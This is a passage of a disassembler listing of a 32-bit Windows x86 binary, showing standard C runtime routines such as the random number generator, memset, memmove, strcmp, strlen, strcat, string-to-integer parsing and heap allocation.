pop ecx
loc_4172FD: ; CODE XREF: sub_4172B0+3Ej
mov eax, esi
pop esi
leave
retn
sub_4172B0 endp
; =============== S U B R O U T I N E =======================================
sub_417302 proc near ; CODE XREF: sub_401000+2Ep
; sub_401D82+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_433C20, eax
retn
sub_417302 endp
; =============== S U B R O U T I N E =======================================
sub_41730C proc near ; CODE XREF: sub_4010B5+CBp
; sub_4010B5+13Fp ...
mov eax, dword_433C20
imul eax, 343FDh
add eax, 269EC3h
mov dword_433C20, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41730C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417330 proc near ; CODE XREF: sub_4010B5+281p
; sub_40144A+180p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_417383
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_417377
neg ecx
and ecx, 3
jz short loc_417359
sub edx, ecx
loc_417353: ; CODE XREF: sub_417330+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_417353
loc_417359: ; CODE XREF: sub_417330+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_417377
rep stosd
test edx, edx
jz short loc_41737D
loc_417377: ; CODE XREF: sub_417330+18j
; sub_417330+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_417377
loc_41737D: ; CODE XREF: sub_417330+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417383: ; CODE XREF: sub_417330+Aj
mov eax, [esp+arg_0]
retn
sub_417330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp
; sub_4010B5+23Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_39 = byte ptr 41h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4173B0
cmp edi, eax
jb loc_417528
loc_4173B0: ; CODE XREF: sub_417390+16j
test edi, 3
jnz short loc_4173CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4173EC
rep movsd
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
loc_4173CC: ; CODE XREF: sub_417390+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4173E4
and eax, 3
add ecx, eax
jmp dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4173E4: ; CODE XREF: sub_417390+46j
jmp dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4173EC: ; CODE XREF: sub_417390+31j
; sub_417390+8Ej ...
jmp off_41746C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_417400
dd offset loc_41742C
dd offset loc_417450
; ---------------------------------------------------------------------------
loc_417400: ; DATA XREF: sub_417390+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4173EC
rep movsd
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41742C: ; DATA XREF: sub_417390+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4173EC
rep movsd
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_417450: ; DATA XREF: sub_417390+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4173EC
rep movsd
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr
dd offset loc_4174BC
dd offset loc_4174B4
dd offset loc_4174AC
dd offset loc_4174A4
dd offset loc_41749C
dd offset loc_417494
dd offset loc_41748C
; ---------------------------------------------------------------------------
loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_417494: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390:off_41746Co
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r
; sub_417390+92r ...
dd offset loc_4174F0
dd offset loc_4174FC
dd offset loc_417510
; ---------------------------------------------------------------------------
loc_4174E8: ; CODE XREF: sub_417390+35j
; sub_417390+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4174F0: ; CODE XREF: sub_417390+35j
; sub_417390+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4174FC: ; CODE XREF: sub_417390+35j
; sub_417390+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_417510: ; CODE XREF: sub_417390+35j
; sub_417390+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417528: ; CODE XREF: sub_417390+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41755C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_417550
std
rep movsd
cld
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_417550: ; CODE XREF: sub_417390+1B1j
; sub_417390+208j ...
neg ecx
jmp off_417620[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41755C: ; CODE XREF: sub_417390+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_417574
and eax, 3
sub ecx, eax
jmp dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------
loc_417574: ; CODE XREF: sub_417390+1D6j
; DATA XREF: sub_417390+1DDr
jmp off_417670[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov [ebp+arg_39], dh
add [eax-2FFFBE8Bh], ch
jnz short loc_4175C8
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_417550
std
rep movsd
cld
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_417550
std
rep movsd
cld
loc_4175C8: ; CODE XREF: sub_417390+1F5j
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_417550
std
rep movsd
cld
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_417624
dd offset loc_41762C
dd offset loc_417634
dd offset loc_41763C
dd offset loc_417644
dd offset loc_41764C
dd offset loc_417654
off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------
loc_417624: ; DATA XREF: sub_417390+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41762C: ; DATA XREF: sub_417390+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_417634: ; DATA XREF: sub_417390+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41763C: ; DATA XREF: sub_417390+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_417644: ; DATA XREF: sub_417390+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41764C: ; DATA XREF: sub_417390+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_417654: ; DATA XREF: sub_417390+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_417667: ; CODE XREF: sub_417390+1C2j
; DATA XREF: sub_417390:off_417620o
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r
; sub_417390:loc_417574r ...
dd offset loc_417688
dd offset loc_417698
dd offset loc_4176AC
; ---------------------------------------------------------------------------
loc_417680: ; CODE XREF: sub_417390+1B7j
; sub_417390:loc_417574j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417688: ; CODE XREF: sub_417390+1B7j
; sub_417390:loc_417574j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417698: ; CODE XREF: sub_417390+1B7j
; sub_417390:loc_417574j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4176AC: ; CODE XREF: sub_417390+1B7j
; sub_417390:loc_417574j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_417390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp
; sub_4010B5+118p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41771C
loc_4176E0: ; CODE XREF: sub_4176D0+3Cj
; sub_4176D0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_417714
or al, al
jz short loc_417710
cmp ah, [ecx+1]
jnz short loc_417714
or ah, ah
jz short loc_417710
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_417714
or al, al
jz short loc_417710
cmp ah, [ecx+3]
jnz short loc_417714
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_4176E0
mov edi, edi
loc_417710: ; CODE XREF: sub_4176D0+18j
; sub_4176D0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_417714: ; CODE XREF: sub_4176D0+14j
; sub_4176D0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41771C: ; CODE XREF: sub_4176D0+Ej
test edx, 1
jz short loc_417738
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_417714
inc ecx
or al, al
jz short loc_417710
test edx, 2
jz short loc_4176E0
loc_417738: ; CODE XREF: sub_4176D0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_417714
or al, al
jz short loc_417710
cmp ah, [ecx+1]
jnz short loc_417714
or ah, ah
jz short loc_417710
add ecx, 2
jmp short loc_4176E0
sub_4176D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep
; sub_401A76+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_417779
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_417779: ; CODE XREF: sub_417760+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_417760 endp
; =============== S U B R O U T I N E =======================================
sub_417794 proc near ; CODE XREF: sub_41781F+4p
; sub_42094E+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41779C: ; CODE XREF: sub_417794+34j
cmp dword_433E7C, 1
jle short loc_4177B4
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_4177C3
; ---------------------------------------------------------------------------
loc_4177B4: ; CODE XREF: sub_417794+Fj
movzx eax, byte ptr [edi]
mov ecx, off_433C70
mov al, [ecx+eax*2]
and eax, 8
loc_4177C3: ; CODE XREF: sub_417794+1Ej
test eax, eax
jz short loc_4177CA
inc edi
jmp short loc_41779C
; ---------------------------------------------------------------------------
loc_4177CA: ; CODE XREF: sub_417794+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_4177DA
cmp esi, 2Bh
jnz short loc_4177DE
loc_4177DA: ; CODE XREF: sub_417794+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_4177DE: ; CODE XREF: sub_417794+44j
xor ebx, ebx
loc_4177E0: ; CODE XREF: sub_417794+7Bj
cmp dword_433E7C, 1
jle short loc_4177F5
push 4
push esi
call sub_41A642
pop ecx
pop ecx
jmp short loc_417800
; ---------------------------------------------------------------------------
loc_4177F5: ; CODE XREF: sub_417794+53j
mov eax, off_433C70
mov al, [eax+esi*2]
and eax, 4
loc_417800: ; CODE XREF: sub_417794+5Fj
test eax, eax
jz short loc_417811
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_4177E0
; ---------------------------------------------------------------------------
loc_417811: ; CODE XREF: sub_417794+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41781A
neg eax
loc_41781A: ; CODE XREF: sub_417794+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_417794 endp
; =============== S U B R O U T I N E =======================================
sub_41781F proc near ; CODE XREF: sub_4013EC+12p
; sub_4013EC+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_417794
pop ecx
retn
sub_41781F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41782A proc near ; CODE XREF: sub_40144A+318p
; sub_401D82+460p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_419E38
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_417869
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_417876
; ---------------------------------------------------------------------------
loc_417869: ; CODE XREF: sub_41782A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_419D23
pop ecx
pop ecx
loc_417876: ; CODE XREF: sub_41782A+3Dj
mov eax, esi
pop esi
leave
retn
sub_41782A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417880 proc near ; CODE XREF: sub_401D82+2D8p
; sub_401D82+2F8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_4178FA
mov dh, [ecx+1]
test dh, dh
jz short loc_4178E7
loc_417898: ; CODE XREF: sub_417880+52j
; sub_417880+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_4178BA
test al, al
jz short loc_4178B4
loc_4178A9: ; CODE XREF: sub_417880+32j
mov al, [esi]
inc esi
loc_4178AC: ; CODE XREF: sub_417880+3Fj
cmp al, dl
jz short loc_4178BA
test al, al
jnz short loc_4178A9
loc_4178B4: ; CODE XREF: sub_417880+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4178BA: ; CODE XREF: sub_417880+23j
; sub_417880+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_4178AC
lea edi, [esi-1]
loc_4178C4: ; CODE XREF: sub_417880+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_4178F3
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_417898
mov al, [ecx+3]
test al, al
jz short loc_4178F3
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_4178C4
jmp short loc_417898
; ---------------------------------------------------------------------------
loc_4178E7: ; CODE XREF: sub_417880+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_418F56
; ---------------------------------------------------------------------------
loc_4178F3: ; CODE XREF: sub_417880+49j
; sub_417880+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_4178FA: ; CODE XREF: sub_417880+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_417880 endp
; =============== S U B R O U T I N E =======================================
sub_417900 proc near ; CODE XREF: sub_4022C6+94p
; sub_405A58+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_417915
or eax, 0FFFFFFFFh
jmp short loc_41794F
; ---------------------------------------------------------------------------
loc_417915: ; CODE XREF: sub_417900+Ej
test al, 83h
jz short loc_41794D
push esi
call sub_41A7D0
push esi
mov edi, eax
call sub_41A76A
push dword ptr [esi+10h]
call sub_41A6B7
add esp, 0Ch
test eax, eax
jge short loc_41793B
or edi, 0FFFFFFFFh
jmp short loc_41794D
; ---------------------------------------------------------------------------
loc_41793B: ; CODE XREF: sub_417900+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41794D
push eax
call sub_417C3B
and dword ptr [esi+1Ch], 0
pop ecx
loc_41794D: ; CODE XREF: sub_417900+17j
; sub_417900+39j ...
mov eax, edi
loc_41794F: ; CODE XREF: sub_417900+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_417900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep
; sub_40EE72+2B0Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_41A8A2
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419E38
push [ebp+arg_0]
mov edi, eax
push esi
call sub_41A92F
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_417956 endp
; =============== S U B R O U T I N E =======================================
sub_417988 proc near ; CODE XREF: sub_4179A8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41AADC
test eax, eax
jnz short loc_417992
retn
; ---------------------------------------------------------------------------
loc_417992: ; CODE XREF: sub_417988+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41A96C
add esp, 10h
retn
sub_417988 endp
; =============== S U B R O U T I N E =======================================
sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p
; sub_405A58+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_417988
add esp, 0Ch
retn
sub_4179A8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp
; sub_40A7D7+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_417A31
sub_4179C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p
; sub_4022C6+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_4179EC
loc_4179DD: ; CODE XREF: sub_4179D0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_417A1F
test ecx, 3
jnz short loc_4179DD
loc_4179EC: ; CODE XREF: sub_4179D0+Bj
; sub_4179D0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_4179EC
mov eax, [ecx-4]
test al, al
jz short loc_417A2E
test ah, ah
jz short loc_417A29
test eax, 0FF0000h
jz short loc_417A24
test eax, 0FF000000h
jz short loc_417A1F
jmp short loc_4179EC
; ---------------------------------------------------------------------------
loc_417A1F: ; CODE XREF: sub_4179D0+12j
; sub_4179D0+4Bj
lea edi, [ecx-1]
jmp short loc_417A31
; ---------------------------------------------------------------------------
loc_417A24: ; CODE XREF: sub_4179D0+44j
lea edi, [ecx-2]
jmp short loc_417A31
; ---------------------------------------------------------------------------
loc_417A29: ; CODE XREF: sub_4179D0+3Dj
lea edi, [ecx-3]
jmp short loc_417A31
; ---------------------------------------------------------------------------
loc_417A2E: ; CODE XREF: sub_4179D0+39j
lea edi, [ecx-4]
loc_417A31: ; CODE XREF: sub_4179C0+5j
; sub_4179D0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_417A56
loc_417A3D: ; CODE XREF: sub_4179D0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_417AA8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_417A3D
jmp short loc_417A56
; ---------------------------------------------------------------------------
loc_417A51: ; CODE XREF: sub_4179D0+9Ej
; sub_4179D0+B8j
mov [edi], edx
add edi, 4
loc_417A56: ; CODE XREF: sub_4179D0+6Bj
; sub_4179D0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_417A51
test dl, dl
jz short loc_417AA8
test dh, dh
jz short loc_417A9F
test edx, 0FF0000h
jz short loc_417A92
test edx, 0FF000000h
jz short loc_417A8A
jmp short loc_417A51
; ---------------------------------------------------------------------------
loc_417A8A: ; CODE XREF: sub_4179D0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417A92: ; CODE XREF: sub_4179D0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_417A9F: ; CODE XREF: sub_4179D0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417AA8: ; CODE XREF: sub_4179D0+72j
; sub_4179D0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_4179D0 endp
; =============== S U B R O U T I N E =======================================
sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p
; sub_4023A7:loc_402561p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_417AD0
loc_417ABC: ; CODE XREF: sub_417AB0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_417B03
test ecx, 3
jnz short loc_417ABC
add eax, 0
loc_417AD0: ; CODE XREF: sub_417AB0+Aj
; sub_417AB0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_417AD0
mov eax, [ecx-4]
test al, al
jz short loc_417B21
test ah, ah
jz short loc_417B17
test eax, 0FF0000h
jz short loc_417B0D
test eax, 0FF000000h
jz short loc_417B03
jmp short loc_417AD0
; ---------------------------------------------------------------------------
loc_417B03: ; CODE XREF: sub_417AB0+11j
; sub_417AB0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417B0D: ; CODE XREF: sub_417AB0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417B17: ; CODE XREF: sub_417AB0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417B21: ; CODE XREF: sub_417AB0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_417AB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417B30 proc near ; CODE XREF: sub_402688+8p
; sub_402B84+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_417B50
loc_417B3C: ; CODE XREF: sub_417B30+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_417B3C
loc_417B50: ; CODE XREF: sub_417B30+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_417B30 endp
; =============== S U B R O U T I N E =======================================
sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap
; sub_4029E9+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_417B73
loc_417B6B: ; CODE XREF: sub_417B5F+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_417B6B
loc_417B73: ; CODE XREF: sub_417B5F+Aj
mov edx, [esp+arg_4]
push esi
loc_417B78: ; CODE XREF: sub_417B5F+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_417B78
pop esi
retn
sub_417B5F endp
; =============== S U B R O U T I N E =======================================
sub_417B89 proc near ; CODE XREF: sub_402B84+220p
; sub_402DD7+C1p ...
arg_0 = dword ptr 4
push dword_4CDA14
push [esp+4+arg_0]
call sub_417B9B
pop ecx
pop ecx
retn
sub_417B89 endp
; =============== S U B R O U T I N E =======================================
sub_417B9B proc near ; CODE XREF: sub_417B89+Ap
; sub_4185F5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_417BC4
loc_417BA2: ; CODE XREF: sub_417B9B+27j
push [esp+arg_0]
call sub_417BC7
test eax, eax
pop ecx
jnz short locret_417BC6
cmp [esp+arg_4], eax
jz short locret_417BC6
push [esp+arg_0]
call sub_41AB54
test eax, eax
pop ecx
jnz short loc_417BA2
loc_417BC4: ; CODE XREF: sub_417B9B+5j
xor eax, eax
locret_417BC6: ; CODE XREF: sub_417B9B+13j
; sub_417B9B+19j
retn
sub_417B9B endp
; =============== S U B R O U T I N E =======================================
sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp
arg_0 = dword ptr 4
mov eax, dword_4CF028
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_417BEB
cmp esi, dword_4CF020
ja short loc_417C1D
push esi
call sub_41B0DD
test eax, eax
pop ecx
jz short loc_417C1D
pop esi
retn
; ---------------------------------------------------------------------------
loc_417BEB: ; CODE XREF: sub_417BC7+Dj
cmp eax, 2
jnz short loc_417C1D
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_417C00
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_417C03
; ---------------------------------------------------------------------------
